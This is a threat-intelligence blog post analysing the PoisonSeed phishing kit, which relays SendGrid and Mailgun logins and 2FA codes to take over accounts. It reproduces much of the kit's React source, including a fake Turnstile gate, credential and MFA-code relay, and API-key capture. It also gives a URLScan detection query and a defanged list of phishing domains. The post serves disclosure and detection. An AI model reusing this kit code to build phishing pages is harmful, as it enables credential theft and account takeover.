As first reported by SilentPush, PoisonSeed is a threat actor whose TTPs closely align with Scattered Spider and CryptoChameleon, groups that are part of “The Com,” a young, English-speaking threat actor community. They engage in phishing attacks to obtain login information from CRM and bulk email service providers, allowing them to export contact lists and distribute larger volumes of spam using these accounts. The primary aim of targeting email providers appears to be establishing infrastructure for conducting cryptocurrency-related spam activities. Recipients of these spam operations are subjected to a cryptocurrency seed phrase manipulation attack. In this tactic, PoisonSeed offers security seed phrases, encouraging victims to use them in new cryptocurrency wallets, which they can later exploit. PoisonSeed is responsible for the campaign that targeted Troy Hunt where the actors stole his Mailchimp mailing list, and the Coinbase phishing emails tricking users with fake wallet migration.
In this blog, NVISO builds on SilentPush’s report and analyzes PoisonSeed’s MFA-resistant phishing kit, which continues to be active in the wild since April 2025.
PoisonSeed’s phishing kit utilizes email infrastructure to send spear-phishing emails containing marketing-related links. These links redirect to domains hosting the phishing kit, appending the victim’s email in an encrypted format in the URL. From there, a fake Cloudflare Turnstile challenge page appears that performs victim verification server-side, in the background. This verification checks the presence and validity of the encrypted email in the URL, ensuring it is not banned by the legitimate service. Upon passing these checks, a login form mimicking the legitimate service appears, capturing submitted credentials and relaying them to the legitimate service. If the credentials are valid, the victim is presented with a page corresponding to the registered 2FA method (Authenticator, SMS, Email, API Key). The phishing kit relays the 2FA method submitted by the victim, resulting in capturing the authentication cookies before providing them also to the victim. Thus, the threat actor bypasses MFA protections to gain account access. Once authentication details are captured, PoisonSeed automates the bulk downloading of email lists.
PoisonSeed initiates its attack by delivering phishing emails to targeted individuals. Email lures feature subjects mimicking the impersonated email provider, such as “Sending Privileges Restricted”. The emails contain a malicious link prompting the recipient to take action.
Email marketing and CRM-related links were observed redirecting to PoisonSeed’s phishing domains (source: URLScan). Links such as *.ct.sendgrid.net redirected to URLs hosting the phishing kit, with the target’s email appended as an encrypted parameter. An example of a public URLScan task is this one.
The phishing kit is developed using React and features the following structure:
The features of each component are detailed next, using SendGrid as an example of the impersonated service—a popular cloud-based email delivery service.
This component validates whether the victim has completed preliminary security steps, specifically the fake Cloudflare Turnstile challenge, before accessing protected routes like the login and 2FA forms.
IIf no encrypted email is detected initially and the session isn’t marked as verified in session storage, the victim is redirected to Google.
function App() {
const [error, setError] = useState('');
const location = useLocation();
const isVerified = sessionStorage.getItem('fakeTurnstileVerified') === 'true';
useEffect(() => {
const queryParams = new URLSearchParams(location.search);
const encryptedEmail = queryParams.get('email');
console.log('Location.search:', location.search);
console.log('Encrypted email from query:', encryptedEmail);
if (!encryptedEmail && location.pathname === '/' && !isVerified) {
console.log('No encrypted email found on initial load, redirecting to Google');
window.location.href = 'https://www.google.com';
} else if (encryptedEmail) {
console.log('Encrypted email found, proceeding:', encryptedEmail);
} else {
console.log('No email on subsequent route, continuing anyway');
}
}, [location]);
JavaScript
App.jsx defines a “ProtectedRoute” wrapper serving as a gatekeeper for routes necessitating verification. It assesses verification status based on the session storage flag. If the victim isn’t verified, the component redirects the victim to the verification route (“/verify” – Fake Cloudflare Turnstile) while preserving the original query string and state.
const ProtectedRoute = ({ children }) => {
if (!isVerified) {
const queryString = location.search;
return <Navigate to={`/verify${queryString}`} state={{ from: location.pathname }} replace />;
}
return children;
};
JavaScript
Finally, the component maps URL paths to corresponding components through a set of routes:
• The “/verify” path, which renders the TurnstileChallenge component.
• The root path (“/”), which renders the LoginForm component wrapped in the login layout and ProtectedRoute.
• Specific two-factor authentication routes (“/2fa/sms/”, “/2fa/ga/”, “/2fa/email/”) that display the corresponding 2FA component only if the victim is verified.
• The API key verification route (“/verify-api-key/”) that follows a similar protected pattern.
• A wildcard route that redirects any unmatched URLs back to the “/verify” path.
return (
<Routes>
<Route path="/verify" element={<TurnstileChallenge />} />
<Route
path="/"
element={
<ProtectedRoute>
{renderLoginLayout(<LoginForm initialError={error} />)}
</ProtectedRoute>
}
/>
<Route
path="/2fa/sms/:twoFactorId"
element={
<ProtectedRoute>
<TwoFactorSMS />
</ProtectedRoute>
}
/>
<Route
path="/2fa/ga/:twoFactorId"
element={
<ProtectedRoute>
<TwoFactorGA />
</ProtectedRoute>
}
/>
<Route
path="/2fa/email/:twoFactorId"
element={
<ProtectedRoute>
<TwoFactorEmail />
</ProtectedRoute>
}
/>
<Route
path="/verify-api-key/:apiKeyId"
element={
<ProtectedRoute>
<ApiKeyVerification />
</ProtectedRoute>
}
/>
<Route path="*" element={<Navigate to="/verify" replace />} />
</Routes>
);
JavaScript
TurnstileChallenge.jsx manages the initial bot verification step. It mimics a Cloudflare Turnstile Challenge, as confirmed by Validin, to ensure a legitimate victim request. The component verifies the presence of an encrypted email in the URL, validates it via an API call, and sets verification flags in cookies and session storage upon success.
A one-second timer is employed before permitting the victim to verify their human status. This delay (set through “canVerify”) protects against automated bot or security tools actions by ensuring that the verification control isn’t available immediately upon load.
// Anti-bot delay
useEffect(() => {
const timer = setTimeout(() => {
setCanVerify(true);
}, 1000);
return () => clearTimeout(timer);
}, []);
JavaScript
Upon mounting, the component retrieves the “encryptedEmail” value from the URL’s query parameters.
// Check encrypted email on mount
useEffect(() => {
const queryParams = new URLSearchParams(location.search);
const encryptedEmail = queryParams.get('email');
if (!encryptedEmail) {
console.log('No email in Turnstile, redirecting to Google');
window.location.href = 'https://www.google.com';
setShouldRedirect(true); // Set flag to prevent rendering
return;
}
const checkEmail = async () => {
try {
const API_URL = process.env.REACT_APP_API_URL || 'http://localhost:5000/api';
const response = await axios.post(`${API_URL}/check-email`, { encryptedEmail });
console.log('Email check response:', response.data);
if (!response.data.valid || response.data.banned) {
console.log('Invalid or banned email, clearing session and redirecting to /verify');
document.cookie.split(';').forEach((cookie) => {
const [name] = cookie.split('=');
document.cookie = `${name.trim()}=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=Strict`;
});
sessionStorage.clear();
navigate('/verify', { replace: true });
setShouldRedirect(true);
} else {
setIsChecked(true); // Only set if check passes
}
} catch (error) {
console.error('Email check error:', error.response?.data || error.message);
document.cookie.split(';').forEach((cookie) => {
const [name] = cookie.split('=');
document.cookie = `${name.trim()}=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=Strict`;
});
sessionStorage.clear();
navigate('/verify', { replace: true });
setShouldRedirect(true);
}
};
checkEmail();
}, [location, navigate]);
JavaScript
The “handleVerify” function activates upon the victim clicking the verification box:
const handleVerify = () => {
if (!canVerify) {
console.log('Verification blocked: Too soon or bot detected');
return;
}
const queryParams = new URLSearchParams(location.search);
const encryptedEmail = queryParams.get('email');
// No need to check encryptedEmail here; handled in useEffect
console.log('Checkbox clicked! Redirecting to:', requestedPath);
const cookieValue = encodeURIComponent(encryptedEmail);
document.cookie = `encryptedEmail=${cookieValue}; path=/; max-age=3600; SameSite=Strict`;
sessionStorage.setItem('fakeTurnstileVerified', 'true');
navigate(requestedPath, { replace: true });
};
JavaScript
LoginForm.jsx renders and manages the initial username and password login process. It manages victim input, validates the session by checking a previously stored encrypted email (stored in a cookie), and then interacts with the backend API to verify the email and perform the login. It also handles the display of error messages when login fails or when the email fails validation.
Upon mounting, “useEffect” executes the following actions:
useEffect(() => {
const email = Cookies.get('encryptedEmail');
if (email) {
setEncryptedEmail(email);
} else {
console.log('No encrypted email in cookies, redirecting to /verify');
clearSession();
navigate('/verify', { replace: true });
return;
}
const checkEmail = async () => {
try {
const API_URL = process.env.REACT_APP_API_URL || 'http://localhost:5000/api';
const response = await axios.post(`${API_URL}/check-email`, { encryptedEmail: email });
console.log('Email check response:', response.data);
if (!response.data.valid || response.data.banned) {
console.log('Invalid or banned email, clearing session and redirecting to /verify');
clearSession();
navigate('/verify', { replace: true });
} else {
setIsChecked(true);
}
} catch (error) {
console.error('Email check error:', error.response?.data || error.message);
clearSession();
navigate('/verify', { replace: true });
}
};
checkEmail();
if (initialError) {
setMessage(
<div id="login-error-alert-container" className="alert alert-danger" role="alert">
<div style={{ display: 'inline-block', fontSize: '16px', fontFamily: '"Times New Roman"', borderRadius: '30px', border: '1px solid rgb(183, 28, 28)', padding: '4px 10px' }}>
!
</div>
<p style={{ margin: '0px 10px' }}>Your username or password is invalid.</p>
</div>
);
}
}, [initialError, navigate]);
JavaScript
The “handleSubmit” function handles the form submission event:
The API response determines the next action:
const handleSubmit = async (e) => {
e.preventDefault();
setIsLoading(true);
setMessage('');
try {
const API_URL = process.env.REACT_APP_API_URL || 'http://localhost:5000/api';
const checkResponse = await axios.post(`${API_URL}/check-email`, { encryptedEmail });
if (!checkResponse.data.valid || checkResponse.data.banned) {
console.log('User banned during login attempt, clearing session and redirecting to /verify');
clearSession();
navigate('/verify', { replace: true });
setIsLoading(false);
return;
}
const response = await axios.post(`${API_URL}/login`, {
username,
password,
encryptedEmail,
});
console.log('Login response:', response.data);
if (response.status === 200) {
if (response.data.status === 202 && response.data.redirect) {
console.log('Navigating to:', response.data.redirect);
// here is the navigation for 2fa since it changes the route
navigate(response.data.redirect);
} else if (response.data.status === 200 && response.data.redirect) {
console.log('Redirecting to:', response.data.redirect);
window.location.href = response.data.redirect;
} else {
setMessage(
<div id="login-error-alert-container" className="alert alert-danger" role="alert">
<div style={{ display: 'inline-block', fontSize: '16px', fontFamily: '"Times New Roman"', borderRadius: '30px', border: '1px solid rgb(183, 28, 28)', padding: '4px 10px' }}>
!
</div>
<p style={{ margin: '0px 10px' }}>{response.data.message}</p>
</div>
);
}
} else {
throw new Error('Unexpected HTTP status: ' + response.status);
}
} catch (error) {
console.error('Login error:', error);
const errorMessage = error.response?.data?.message || error.message || 'Login failed';
setMessage(
<div id="login-error-alert-container" className="alert alert-danger" role="alert">
<div style={{ display: 'inline-block', fontSize: '16px', fontFamily: '"Times New Roman"', borderRadius: '30px', border: '1px solid rgb(183, 28, 28)', padding: '4px 10px' }}>
!
</div>
<p style={{ margin: '0px 10px' }}>{errorMessage}</p>
</div>
);
} finally {
setIsLoading(false);
}
};
JavaScript
TwoFactorSMS.jsx manages SMS-based two-factor authentication (2FA). It provides victims with an interface to enter a verification code received via text message. The component handles code submission by verifying the entered code with a backend endpoint. It also includes functionality to resend the SMS code if needed.
When the form is submitted:
const handleSubmit = async (e) => {
e.preventDefault();
setError('');
setResendMessage('');
setIsLoading(true);
const encryptedEmail = Cookies.get('encryptedEmail');
try {
const response = await fetch(`${API_URL}/2fa/verify`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
twoFactorId,
code,
encryptedEmail,
}),
});
const data = await response.json();
if (data.status === 200) {
window.location.href = data.redirect;
} else if (data.status === 202) {
navigate(data.redirect);
} else {
setError(data.message || 'Invalid code. Please try again.');
}
} catch (err) {
console.error('Error verifying 2FA:', err);
setError('An error occurred. Please try again.');
} finally {
setIsLoading(false);
}
};
JavaScript
The “handleResend” function provides an alternative pathway for victims who prefer receiving the 2FA code via SMS:
const handleResend = async () => {
setError('');
setResendMessage('');
setIsLoading(true);
const encryptedEmail = Cookies.get('encryptedEmail');
try {
const response = await fetch(`${API_URL}/2fa/resend-sms`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
twoFactorId,
encryptedEmail,
}),
});
const data = await response.json();
if (response.ok) {
setResendMessage('A new SMS code has been sent.');
} else {
setError(data.message || 'Failed to resend SMS code. Please try again.');
}
} catch (err) {
console.error('Error resending SMS code:', err);
setError('An error occurred while resending the SMS code.');
} finally {
setIsLoading(false);
}
};
JavaScript
TwoFactorEmail.jsx manages email-based two-factor authentication (2FA). It displays a form where victims can enter a verification code that was sent to their email. The component retrieves the associated victim email based on the 2FA identifier from the URL, validates the entered code against the backend API, and then navigates the victim accordingly based on the verification outcome.
Within “useEffect”, the component executes these tasks:
useEffect(() => {
const fetchEmail = async () => {
if (!twoFactorId) {
setMessage(
<div className="loginForm__statusMessageContainer">
<div className="loginForm__statusMessage loginForm__statusMessage--error">
<img
src="https://login.mailgun.com/login/static/error.svg"
className="loginForm__statusMessage__image"
alt="Error Icon"
/>
<span className="loginForm__statusText">Invalid 2FA request</span>
</div>
</div>
);
return;
}
try {
const API_URL = process.env.REACT_APP_API_URL || 'http://localhost:5000/api';
const response = await axios.get(`${API_URL}/2fa/email/${twoFactorId}`);
setUserEmail(response.data.email);
} catch (error) {
setMessage(
<div className="loginForm__statusMessageContainer">
<div className="loginForm__statusMessage loginForm__statusMessage--error">
<img
src="https://login.mailgun.com/login/static/error.svg"
className="loginForm__statusMessage__image"
alt="Error Icon"
/>
<span className="loginForm__statusText">Failed to load user email</span>
</div>
</div>
);
}
};
fetchEmail();
}, [twoFactorId]);
JavaScript
The “handleSubmit” function is triggered when the victim submits the verification form:
const handleSubmit = async (e) => {
e.preventDefault();
setIsLoading(true);
setMessage(
<div className="loginForm__statusMessageContainer">
<div className="loginForm__statusMessage loginForm__statusMessage--loading">
<span className="loginForm__statusText">Verifying code...</span>
</div>
</div>
);
try {
const API_URL = process.env.REACT_APP_API_URL || 'http://localhost:5000/api';
const response = await axios.post(`${API_URL}/2fa/verify-email`, {
twoFactorId,
code,
dontAskAgain,
});
if (response.status === 200) {
if (response.data.status === 200 && response.data.redirect) {
window.location.href = response.data.redirect;
} else if (response.data.status === 202 && response.data.redirect) {
setMessage(
<div className="loginForm__statusMessageContainer">
<div className="loginForm__statusMessage loginForm__statusMessage--loading">
<span className="loginForm__statusText">Redirecting...</span>
</div>
</div>
);
navigate(response.data.redirect);
} else if (response.data.status === 200) {
setMessage(
<div className="loginForm__statusMessageContainer">
<div className="loginForm__statusMessage loginForm__statusMessage--success">
<span className="loginForm__statusText">{response.data.message}</span>
</div>
</div>
);
setTimeout(() => navigate('/'), 2000);
} else {
setMessage(
<div className="loginForm__statusMessageContainer">
<div className="loginForm__statusMessage loginForm__statusMessage--error">
<img
src="https://login.mailgun.com/login/static/error.svg"
className="loginForm__statusMessage__image"
alt="Error Icon"
/>
<span className="loginForm__statusText">{response.data.message}</span>
</div>
</div>
);
}
} else {
throw new Error('Unexpected HTTP status: ' + response.status);
}
} catch (error) {
const errorMessage = error.response?.data?.message || 'Email code verification failed';
setMessage(
<div className="loginForm__statusMessageContainer">
<div className="loginForm__statusMessage loginForm__statusMessage--error">
<img
src="https://login.mailgun.com/login/static/error.svg"
className="loginForm__statusMessage__image"
alt="Error Icon"
/>
<span className="loginForm__statusText">{errorMessage}</span>
</div>
</div>
);
} finally {
setIsLoading(false);
}
};
JavaScript
TwoFactorGA.jsx facilitates Google Authenticator–style 2FA. It presents a form where victims enter a 6-digit code generated by the authenticator app. After form submission, the code is verified by the backend, and the victim is redirected as appropriate depending on the verification outcome. In addition, the component provides an option to request a code via SMS, transitioning the victim to a different 2FA route.
When the victim submits the form:
It also consists the same “handleResend” function described in the TwoFactorSMS.jsx.
const handleSubmit = async (e) => {
e.preventDefault();
setError('');
setResendMessage('');
setIsLoading(true);
const encryptedEmail = Cookies.get('encryptedEmail');
try {
const response = await fetch(`${API_URL}/2fa/verify`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
twoFactorId,
code,
encryptedEmail,
}),
});
const data = await response.json();
if (data.status === 200) {
window.location.href = data.redirect;
} else if (data.status === 202) {
navigate(data.redirect);
} else {
setError(data.message || 'Invalid code. Please try again.');
}
} catch (err) {
console.error('Error verifying 2FA:', err);
setError('An error occurred. Please try again.');
} finally {
setIsLoading(false);
}
};
JavaScript
Lastly, ApiKeyVerification.jsx manages API key–based authentication. It allows victims to verify their identity by providing an API key that starts with the prefix “SG.” The component validates the API key on the client side, then sends it along with an encrypted email (retrieved from cookies) to the backend for verification. Depending on the response, the victim is either redirected or shown an error message.
When the form is submitted (“handleSubmit” function):
The component sends a POST request to the backend endpoint “/verify-api-key/[apiKeyId]” (with “apiKeyId” extracted from the URL). The request’s JSON body consists of the “apiKeyId”, the provided “apiKey”, and the encrypted email. After receiving and parsing the response:
const handleSubmit = async (e) => {
e.preventDefault();
setError('');
// Client-side SG. prefix check
if (!apiKey.startsWith('SG.')) {
setError('Invalid API key');
return;
}
setIsLoading(true);
const encryptedEmail = Cookies.get('encryptedEmail'); // Retrieves the cookie by name
try {
const response = await fetch(`${API_URL}/verify-api-key/${apiKeyId}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
apiKeyId,
apiKey,
encryptedEmail,
}),
});
const data = await response.json();
if (data.status === 200) {
window.location.href = data.redirect;
} else if (data.status === 202) {
navigate(data.redirect);
} else {
setError(data.message || 'Invalid API key. Please try again.');
}
} catch (err) {
console.error('Error verifying API key:', err);
setError('An error occurred. Please try again.');
} finally {
setIsLoading(false);
}
};
JavaScript
Ultimately, attackers capture authentication cookies as Adversary-in-the-Middle (AitM) and relay them back to the victim. PoisonSeed successfully bypasses MFA, enabling them to access the victim’s account and pursue objectives manually or automatically, including bulk email list downloads and sending emails from the compromised account.
The majority of domains redirecting to phishing sites originated from sendgrid.net (source: URLScan).
Additional identified domains are associated with email marketing, CRM solutions, and legitimate business websites across various sectors, likely indicating compromise.
NICENIC served as the registrar for all identified phishing domains hosting this kit. Nicenic.net ranks third for most malicious domain registrations, per Spamhaus as of this blog’s writing. Additionally, that registrar is the preferred choice for both Scattered Spider and CryptoChameleon (members of “The Com”).
Most phishing domains were hosted on Cloudflare—ranked 5th among top malware hosting networks and favored for IP address obfuscation—followed by DE-Firstcolo and SWISSNETWORK02, ranked 15th and listed in Spamhaus ASN-DROP.
PoisonSeed selected Cloudflare and Bunny.net for Name Servers.
The following URLscan query (requiring a PRO plan) reliably detects PoisonSeed’s phishing domains and subdomains by analyzing API requests for encrypted email verification, email presence in URLs, titles with ‘Verification’ or ‘Sign-in’, and cookie names containing encrypted email or fake Turnstile challenge strings:
filename:"/api/check-email" AND page.url:*?email=* AND ((page.title:*Verification* OR page.title:*Sign*) OR content.cookieNames:"encryptedEmail" OR text.content:"needs to review the security of your connection before proceeding.")
JavaScript
This Silent Push’s WHOIS Scanner example search serves as a starting point for identifying domains potentially registered by PoisonSeed for phishing kit deployment:
The searches are based on the absence of City and Zip Code fields, the presence of State and Country fields, the NICENIC registrar, Cloudflare as name server (also combined with Bunny.net in a separate search term), and registration after March 2025 in the WHOIS data. Note that these searches yield potential PoisonSeed phishing domain candidates, necessitating further validation. Additional searches are also provided by SilentPush.
Hunting PoisonSeed indicators is also covered through Validin’s blog, presenting actionable pivots.
Below are key recommendations for protection against PoisonSeed campaigns:
device-sendgrid[.]com
navigate-sendgrid[.]com
dashboard[.]navigate-sendgrid[.]com
https-sendgrid[.]com
network-sendgrid[.]com
sso-sendgridnetwork[.]com
terminateloginsession[.]com
mysandgrid[.]com
grid-sendlogin[.]com
server-sendlogin[.]com
sgaccountsettings[.]com
https-sglogin[.]com
sgsettings[.]live
gsecurelogin[.]com
https-sgpartners[.]info
securehttps-sgservices[.]com
https-sendgrid[.]info
https-sgportal[.]com
https-loginsg[.]com
sgportalexecutive[.]org
sg[.]usportalhelp[.]com
sendgrid[.]executiveteaminvite[.]com
loginportalsg[.]com
gloginservicesaccount[.]com
sendgrid[.]aws-us5[.]com
aws-us4[.]com
sendgrid[.]aws-us3[.]com
sendgr[.]id-unlink[.]com
appeal[.]grid-secureaccount[.]com
sgupgradegold[.]com
session[.]ssogservices[.]com
sso-glogin[.]com
1send[.]grid-sso[.]com
send[.]grid-secureaccount[.]com
provider[.]ssogservices[.]com
ssogservices[.]com
send[.]grid-authority[.]com
send[.]grid-network[.]com
sso-gservices[.]com
portal-sendgrld[.]com
sso[.]portal-sendgrld[.]com
diamond[.]portal-sendgrld[.]com
login[.]portal-sendgrld[.]com
managerewards-cbexchange[.]com
internal-ssologin[.]com
mange-accountsecurity[.]com
service-settings[.]com
secure-ssologins[.]com
legalcompliance-login[.]com
services-goo[.]com
sendgrid[.]service-settings[.]com
sendgrid[.]production-us12[.]com
okta[.]ssologinservices[.]net
aws-us3-manageprod[.]com
myhubservices[.]com
signon-directory[.]com
okta[.]login-enterprisesso[.]com
okta[.]login-request[.]com
sso-accountservices[.]com
JavaScript
Special thanks to Stef Collart, Maxime Thiebaut and Didier Stevens for reviewing this post.
Efstratios is a member of the Threat Intelligence team at NVISO’s CSIRT and is mainly involved in Infrastructure Hunting and Intelligence Production.